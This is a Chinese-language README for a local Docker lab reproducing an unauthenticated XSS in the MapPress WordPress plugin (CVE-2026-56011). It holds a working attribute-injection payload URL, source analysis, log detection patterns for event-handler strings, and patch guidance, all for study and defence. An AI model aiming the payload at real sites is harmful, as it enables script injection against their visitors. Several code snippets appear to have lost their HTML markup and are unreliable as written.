rootdirective-sec/CVE-2026-56011-Lab
GitHub: rootdirective-sec/CVE-2026-56011-Lab
用于本地复现和验证 MapPress Maps for WordPress 插件 iframe 渲染路径中未授权 XSS 漏洞(CVE-2026-56011)的 Docker 对比实验环境。
Stars: 0 | Forks: 0
# CVE-2026-56011 - MapPress Maps for WordPress iframe 地图渲染中的未授权 XSS
## 执行摘要
本仓库包含一个本地 Docker 实验环境,用于复现和验证 CVE-2026-56011,这是一个影响 MapPress Maps for WordPress 的未授权跨站脚本漏洞。
MapPress Maps for WordPress 是一个 WordPress 插件,用于在 WordPress 页面和文章中渲染地图。该漏洞行为影响的是可通过 `mappress=embed` 请求参数访问的 iframe 地图渲染路径。
本实验对比了两个 MapPress 版本:
| 服务 | MapPress 版本 | 目的 | URL |
| ------- | ---------------: | ---------------------------- | --------------------- |
| vuln | 2.97.3 | 漏洞对比目标 | http://localhost:8081 |
| patched | 2.97.4 | 补丁对比目标 | http://localhost:8082 |
此本地实验中演示的验证路径为:
```
Unauthenticated browser request
→ GET /?mappress=embed
→ request supplies a crafted name value
→ vulnerable target renders name into an unquoted id attribute
→ injected onclick handler becomes a standalone HTML attribute
→ clicking the rendered MapPress component triggers alert(1)
→ patched target keeps the payload inside a quoted and escaped id attribute
→ clicking the rendered component does not trigger alert(1)
```
漏洞目标使用此手动浏览器 URL:
```
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
预期的漏洞结果:
```
Click on the rendered MapPress component
→ alert(1) pops up
```
补丁目标针对 MapPress 2.97.4 使用相同的 payload:
```
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
预期的补丁结果:
```
Click on the rendered MapPress component
→ no alert appears
```
本实验特意仅使用手动浏览器验证。它不包含 PoC 脚本、浏览器自动化、凭据窃取、外部回调、恶意软件、持久化、后渗透活动或针对外部系统的攻击。
## 已验证事实
| 声明 | 证据 | 如何在本实验中验证 |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011 影响 MapPress Maps for WordPress。 | 公开的漏洞通告指出受影响的 WordPress 插件为 MapPress Maps for WordPress。 | 查看参考部分并检查两个 Docker 目标中安装的插件。 |
| 本实验中的漏洞对比版本为 MapPress 2.97.3。 | `vuln` 服务使用 `MAPPRESS_VERSION: 2.97.3` 构建插件。 | 检查 `docker-compose.yml` 和 `vuln/Dockerfile`。 |
| 本实验中的补丁对比版本为 MapPress 2.97.4。 | `patched` 服务使用 `MAPPRESS_VERSION: 2.97.4` 构建插件。 | 检查 `docker-compose.yml` 和 `patched/Dockerfile`。 |
| MapPress 2.97.4 引入了相关的 iframe 转义修复。 | 2.97.4 的官方插件更新日志显示 `Added: escape in iframe`。 | 查看官方 WordPress 插件更新日志并对比漏洞和补丁源代码。 |
| 漏洞源码在将地图名称渲染到 web component `id` 时没有加引号。 | 在 2.97.3 中,`mappress_map.php` 渲染为 ``。 | 对比 2.97.3 源码与 2.97.4 源码。 |
| 补丁源码对 `id` 值加了引号并进行了转义。 | 在 2.97.4 中,`mappress_map.php` 渲染 `id="` 时使用了 `esc_attr($name)`。 | 对比 2.97.3 和 2.97.4 之间的补丁差异。 |
| 无需身份验证即可访问 iframe 路径。 | 当存在 `$_GET['mappress']` 时,MapPress 会注册 `template_redirect`。 | 在未登录的情况下从浏览器请求 `/?mappress=embed...`。 |
| iframe 路径从请求中读取地图属性。 | `template_redirect()` 将 `$_GET` 映射到地图参数并调用 iframe 渲染器。 | 检查 `mappress.php` 并复现手动 URL。 |
| 漏洞目标允许通过 `name` 进行属性注入。 | 构造的 name 值可以脱离未加引号的 `id` 属性并变成 `onclick=alert(1)`。 | 打开漏洞手动 URL 并点击渲染出的 MapPress 组件。 |
| 补丁目标阻止了测试的属性注入行为。 | 补丁输出将整个 payload 保留在带引号的 `id` 属性内。 | 打开补丁手动 URL 并点击渲染出的 MapPress 组件。 |
## 假设与未知事项
本实验使用 MapPress 2.97.3 作为漏洞对比目标,因为公开通告指出包括 2.97.3 在内的之前版本受到影响,并且源码差异显示该版本中存在未加引号的属性渲染漏洞。
本实验使用 MapPress 2.97.4 作为补丁对比目标,因为公开通告指出 2.97.4 是修复版本,并且官方更新日志声明在 iframe 路径中添加了转义。
测试的漏洞行为是未授权的 iframe 渲染路径:
```
GET /?mappress=embed&name=
```
本实验侧重于手动浏览器执行无害的 alert payload:
```
name=cve56011 onclick=alert(1)
```
本实验不试图证明存储型传递链。一些公开通告将该漏洞分类为存储型 XSS。本仓库侧重于源码确认的 iframe 渲染输出点以及可以通过未授权 `mappress=embed` 路由在本地复现的漏洞与补丁行为对比。
本实验不演示:
* 存储 payload 的持久化,
* WordPress 账户被盗,
* 管理员会话被窃取,
* nonce 被窃取,
* 外部回调,
* 盲打 XSS 收集,
* 凭据窃取,
* 数据库导出,
* 恶意软件,
* 持久化,
* 或针对非实验系统的攻击。
手动浏览器验证证明了与安全相关的渲染差异:
```
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
```
## 根本原因总结
CVE-2026-56011 的根本原因是当 MapPress 在 iframe 地图输出路径中渲染 web component 时,对地图 `name` 值的输出编码不正确。
易受攻击的代码路径接受来自请求的地图渲染属性,并最终渲染一个自定义 HTML 元素:
```
```
在 MapPress 2.97.3 中,地图名称被直接插入到未加引号的 `id` 属性中,且没有进行属性上下文转义:
```
return "\r\n\r\n$pois\r\n \r\n";
```
这是不安全的,因为该值在 HTML 属性上下文中使用。如果攻击者控制了 `name`,包含空格的值可以终止预期的 `id` 值并引入新属性。
漏洞行为可以概括为:
```
Attacker sends unauthenticated iframe request
→ name = cve56011 onclick=alert(1)
→ MapPress sanitizes the value as text
→ sanitized text is still unsafe for an unquoted HTML attribute
→ renderer outputs id=cve56011 onclick=alert(1)
→ onclick becomes a standalone event handler attribute
→ user clicks the rendered component
→ JavaScript executes
```
重要的一点是,常规的文本净化与正确的输出转义不同。
漏洞代码在地图名称上使用了 `sanitize_text_field()`,但这并不能使该值在未加引号的 HTML 属性中变得安全。空格在 HTML 属性中仍然有意义,因为它们将一个属性与下一个属性分开。
因此安全问题在于:
```
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
```
补丁版本将渲染更改为加引号并对 `id` 值进行转义:
```
return "\r\n\r\n$pois\r\n \r\n";
```
补丁行为可以概括为:
```
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
```
安全教训是:
```
Sanitize on input if needed, but always escape on output for the exact output context.
For HTML attributes in WordPress, use esc_attr() and quote attribute values.
```
## 源代码分析
通过对比 MapPress 2.97.3 和 MapPress 2.97.4 确认了源码级别的问题。
主要的渲染输出点位于:
```
mappress_map.php
```
漏洞版本将 `name` 值渲染为未加引号的 `id` 属性:
```
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "\r\n\r\n$pois\r\n \r\n";
```
补丁版本为属性添加了引号并对值进行了转义:
```
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "\r\n\r\n$pois\r\n \r\n";
```
当请求包含 `mappress` 查询参数时,会注册 iframe 路由:
```
if (isset($_GET['mappress']))
add_action('template_redirect', array(__CLASS__, 'template_redirect'));
```
iframe 请求处理程序将查询参数映射到地图参数:
```
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
```
然后,处理程序创建或加载一个地图对象,并使用请求参数对其进行更新:
```
$map = new Mappress_Map();
$map->update($args);
$map->layout = 'left';
echo self::get_iframe($map);
die();
```
iframe 助手渲染地图内容:
```
$content = $map->display(null, true);
```
`display()` 路径保留了提供的非空 `name` 值:
```
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
```
这意味着请求提供的 `name` 值可以到达存在漏洞的渲染输出点。
与安全相关的流程为:
```
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→
```
生成的其余地图属性通过一个为属性添加引号的助手进行处理。存在漏洞的 `id` 渲染很特殊,因为 `name` 被提取出来并单独渲染。
这使得漏洞面很窄且易于验证:
```
Only the web component id rendering needs to be compared.
The vulnerable version renders id without quotes.
The patched version renders id with quotes and esc_attr().
```
## 源码补丁摘要
MapPress 2.97.4 通过对生成的 `` 元素的 `id` 属性值加引号和转义,修复了存在漏洞的 iframe 渲染行为。
漏洞输出模式为:
```
```
在此输出中,浏览器解析为:
```
id = cve56011
onclick = alert(1)
```
补丁输出模式为:
```
```
在此输出中,浏览器解析为:
```
id = cve56011 onclick=alert(1)
```
不会创建独立的 `onclick` 属性。
与安全相关的补丁是:
```
Before:
id={$name}
After:
id=""
```
源码级别的修复很小,但安全影响却很大,因为受影响的路径可以通过 iframe embed endpoint 在未经身份验证的情况下访问。
本实验将源码审查和运行时验证分开:
```
Source patch review:
explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation:
proves that the vulnerable target can execute alert(1) and the patched target does not.
```
## 实验架构
本实验通过 Docker Compose 运行两个隔离的 WordPress 目标。
```
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
```
特意没有 `poc/` 目录。验证是手动且基于浏览器的。
这两个 WordPress 服务使用独立的数据库和独立的 WordPress 卷:
| 服务 | 组件 | 版本 / 角色 |
| ------------- | --------- | --------------------------------------- |
| db-vuln | MariaDB | 漏洞 WordPress 的数据库 |
| db-patched | MariaDB | 补丁 WordPress 的数据库 |
| vuln | WordPress | 带有 MapPress 2.97.3 的漏洞目标 |
| patched | WordPress | 带有 MapPress 2.97.4 的补丁目标 |
| wpcli-vuln | WP-CLI | 安装 WordPress 并激活插件 |
| wpcli-patched | WP-CLI | 安装 WordPress 并激活插件 |
默认暴露的服务:
```
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
```
本实验使用固定版本的 MapPress 插件:
| 目标 | MapPress 版本 | 预期行为 |
| --------------------- | ---------------: | -------------------------------------------------------- |
| http://localhost:8081 | 2.97.3 | 点击构造的组件会触发 alert(1) |
| http://localhost:8082 | 2.97.4 | 点击构造的组件不会触发 alert(1) |
Docker 构建从官方 WordPress 插件下载 endpoint 为每个目标下载确切的插件 ZIP 包:
```
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
```
WP-CLI 服务在实验启动期间自动运行。它们在每个目标中安装 WordPress 并激活 MapPress。
本实验不会创建或修改存在漏洞的 MapPress 路由。该路由由安装在每个目标中的真实 MapPress 插件版本提供。
## 要求
* Docker Desktop 或 Docker Engine
* Docker Compose v2
* 首次拉取 Docker 镜像和下载插件时的互联网访问权限
* 用于手动 alert 验证的本地浏览器
不需要 Python 依赖。
不需要 PoC 脚本。
手动 XSS 验证无需登录 WordPress。
## 快速开始
从干净状态启动实验:
```
docker compose down -v --remove-orphans
docker compose up -d --build
```
检查服务状态:
```
docker compose ps
```
预期正在运行的服务:
```
db-vuln
db-patched
vuln
patched
```
预期暴露的目标:
```
http://localhost:8081
http://localhost:8082
```
检查 WordPress 安装和插件激活是否完成:
```
docker compose logs wpcli-vuln wpcli-patched
```
预期的设置消息:
```
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
```
设置完成后,WordPress 登录页面应返回 `HTTP 200`:
```
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
```
如果根页面暂时重定向到 `/wp-admin/install.php`,则 WP-CLI 设置可能仍在进行中。等待直到 `wpcli-vuln` 和 `wpcli-patched` 日志显示设置完成的消息,然后重试。
## 手动 Alert XSS 验证
本实验仅使用手动浏览器验证。
不包含 PoC 脚本。
不需要登录。
### 漏洞目标
在浏览器中打开此 URL:
```
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
点击渲染出的 MapPress 组件。
预期的漏洞结果:
```
alert(1) pops up
```
安全含义:
```
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
```
漏洞的浏览器解析行为等效于:
```
```
浏览器将其视为:
```
id = cve56011
onclick = alert(1)
```
当点击该组件时,事件处理程序就会运行。
### 补丁目标
在浏览器中打开此 URL:
```
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
点击渲染出的 MapPress 组件。
预期的补丁结果:
```
No alert appears.
```
安全含义:
```
The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
```
补丁的浏览器解析行为等效于:
```
```
浏览器将其视为:
```
id = cve56011 onclick=alert(1)
```
不会创建可执行的 `onclick` 属性。
## 预期结果
### 漏洞目标
手动浏览器 URL:
```
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
点击渲染组件后的预期结果:
```
alert(1) pops up
```
预期分类:
```
VULNERABLE_BEHAVIOR_OBSERVED
```
重要的漏洞信号是:
```
MapPress 2.97.3
+ unauthenticated mappress=embed request
+ crafted name parameter
+ onclick becomes standalone attribute
+ browser executes alert(1) after click
```
### 补丁目标
手动浏览器 URL:
```
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
点击渲染组件后的预期结果:
```
No alert appears.
```
预期分类:
```
BLOCKED_BEHAVIOR_OBSERVED
```
重要的补丁是:
```
MapPress 2.97.4
+ same unauthenticated mappress=embed request
+ same crafted name parameter
+ payload remains inside quoted id attribute
+ no standalone onclick attribute
+ no alert after click
```
## 验证如何工作
手动验证向 MapPress iframe 渲染路径发送一个浏览器请求:
```
/?mappress=embed
```
该请求包含一个构造的 `name` 值:
```
cve56011 onclick=alert(1)
```
完整的漏洞请求是:
```
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
完整的补丁请求是:
```
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
在 MapPress 2.97.3 中,`name` 值被插入到未加引号的 `id` 属性中:
```
```
由于该属性没有加引号,`cve56011` 之后的空格启动了一个新属性。
浏览器将输出解释为:
```
id="cve56011"
onclick="alert(1)"
```
当点击渲染的组件时,注入的事件处理程序就会执行。
在 MapPress 2.97.4 中,相同的值被转义并加了引号:
```
```
浏览器将整个 payload 解释为单个 `id` 值。
不会创建事件处理程序。
验证被特意设计为手动的,因为目标是直接展示浏览器可见的 XSS 行为:
```
vulnerable target
→ click
→ alert(1)
patched target
→ click
→ no alert
```
## 手动浏览器复现
启动实验:
```
docker compose down -v --remove-orphans
docker compose up -d --build
```
等待设置完成:
```
docker compose logs wpcli-vuln wpcli-patched
```
预期的设置完成情况:
```
vuln setup complete
patched setup complete
```
打开漏洞目标:
```
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
点击渲染出的 MapPress 组件。
预期结果:
```
alert(1)
```
打开补丁目标:
```
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
点击渲染出的 MapPress 组件。
预期结果:
```
No alert
```
推荐用于作品集文章的截图证据:
```
1. docker compose ps showing both targets running
2. wpcli logs showing WordPress installed and MapPress activated
3. vulnerable browser page with alert(1)
4. patched browser page after clicking with no alert
5. source diff showing id={$name} changed to id=" . esc_attr($name) . "
```
## 影响
CVE-2026-56011 具有安全敏感性,因为未经身份验证的攻击者可以构造一个 MapPress iframe URL,将 JavaScript 注入到渲染的地图组件中。
潜在的现实影响取决于恶意 URL 的传递方式以及打开它的用户。
可能的影响包括:
* 在受害者浏览器中执行攻击者控制的 JavaScript,
* 在受影响的 WordPress origin 内进行网络钓鱼或 UI 操纵,
* 访问同源的非 HttpOnly 数据,
* 如果额外的应用程序条件允许,以受害者身份执行的操作,
* 窃取 CSRF token 或未受保护的页面数据,
* 以及滥用受信任的 WordPress 网站上下文。
本实验仅演示了一个无害的本地 alert payload:
```
onclick=alert(1)
```
本实验不演示会话窃取、凭据窃取、管理员账户接管、加载恶意外部 JavaScript、盲打 XSS 收集或针对公共 WordPress 网站的攻击。
生产环境中的实际风险取决于:
* 是否安装了受影响的 MapPress 版本,
* 是否可以访问漏洞 iframe endpoint,
* 是否能说服受害者打开构造的 URL,
* 受害者在 WordPress 网站中拥有的权限,
* 浏览器保护机制,
* cookie 标志,
* Content Security Policy,
* 以及其他特定于网站的控制措施。
## 检测和监控
潜在的指标包括对 MapPress iframe 渲染路径的请求:
```
GET /?mappress=embed
```
可疑的查询参数可能包括 `name` 参数中与 JavaScript 相关的字符串:
```
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
```
高信号检测思路:
```
HTTP request contains:
mappress=embed
AND
name parameter contains an event handler pattern such as on*=
```
示例可疑请求:
```
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
可能需要审查的 Web 服务器日志或遥测数据:
* 请求路径和查询字符串,
* `mappress=embed` 请求,
* 可疑的 `name` 值,
* URL 编码的事件处理程序,
* 来自外部 referrer 的请求,
* iframe embed 请求的激增,
* WordPress 访问日志,
* 反向代理日志,
* 针对 XSS payload 的 WAF 警报,
* 以及发往地图 embed endpoint 的异常流量。
推荐的监控操作:
* 检查访问日志中的 `mappress=embed`。
* 搜索查询字符串中的事件处理程序模式。
* 搜索诸如 `%20onclick%3D` 之类的编码 payload。
* 对可疑的 `name` 参数值发出警报。
* 检查是否安装了受影响的 MapPress 版本。
* 确认插件已更新至 2.97.4 或更高版本。
* 将 WAF 阻断视为临时控制措施,而不是打补丁的替代方案。
## 缓解措施和补丁说明
将 MapPress Maps for WordPress 升级到 2.97.4 或更高版本。
相关补丁更改了 iframe 地图输出,使得生成的 web component `id` 属性被加引号并转义。
与安全相关的行为:
```
Before:
id={$name}
After:
id=""
```
推荐的缓解步骤:
* 将 MapPress Maps for WordPress 升级到 2.97.4 或更高版本。
* 优先使用可用的最新插件版本,而不是停留在实验对比的版本上。
* 确认安装的插件版本不在受影响的范围内。
* 更新后清除页面缓存和 CDN 缓存。
* 检查访问日志中是否有可疑的 `mappress=embed` 请求。
* 搜索日志中是否有可疑的 `name` 参数值。
* 考虑针对包含事件处理程序的 `mappress=embed` 请求实施临时 WAF 规则。
* 限制对 WordPress 管理功能的不必要暴露。
* 在兼容的情况下使用严格的 Content Security Policy。
* 保持 WordPress 核心、主题和插件更新。
安全工程教训:
* 为所有 HTML 属性加引号。
* 针对确切的输出上下文进行输出转义。
* 在 WordPress HTML 属性输出中使用 `esc_attr()`。
* 不要依赖 `sanitize_text_field()` 作为输出转义的替代品。
* 为 iframe 和 shortcode 渲染路径添加回归测试。
* 审查自定义 web component 的渲染,因为自定义标签仍然遵循正常的 HTML 解析规则。
## 安全边界
本实验仅供本地安全研究和受控演示使用。
请勿对您不拥有或未获得明确授权进行测试的系统使用手动 XSS URL。
请勿在本实验中使用真实的生产凭据、客户数据、支付数据、API 密钥、数据库凭据或生产机密。
预期范围仅限于本地 Docker 服务,例如:
```
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
手动 payload 是故意无害的:
```
onclick=alert(1)
```
本实验不包含用于以下目的的 payload:
* cookie 窃取,
* 凭据窃取,
* CSRF token 窃取,
* 滥用管理员操作,
* 外部回调,
* 盲打 XSS 收集,
* 恶意软件,
* 持久化,
* 网络钓鱼工具包,
* 浏览器漏洞利用,
* 横向移动,
* 客户数据访问,
* 或针对非实验系统的攻击。
目标是在受控环境中演示一个特定的技术条件:
```
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
```
## 清理
停止并移除容器、网络和卷:
```
docker compose down -v --remove-orphans
```
如果需要,移除本地构建的实验镜像:
```
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
```
检查是否还残留有实验容器:
```
docker compose ps
```
## 参考
* CVE 记录:CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD:CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* WordPress 插件:MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* WordPress 插件更新日志:MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack:MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence:MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* WPScan 漏洞数据库:MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* WordPress 插件下载:MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* WordPress 插件下载:MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
标签:CVE复现, Docker, WordPress, XSS, 安全防御评估, 文件完整性监控, 漏洞情报, 漏洞环境, 请求拦截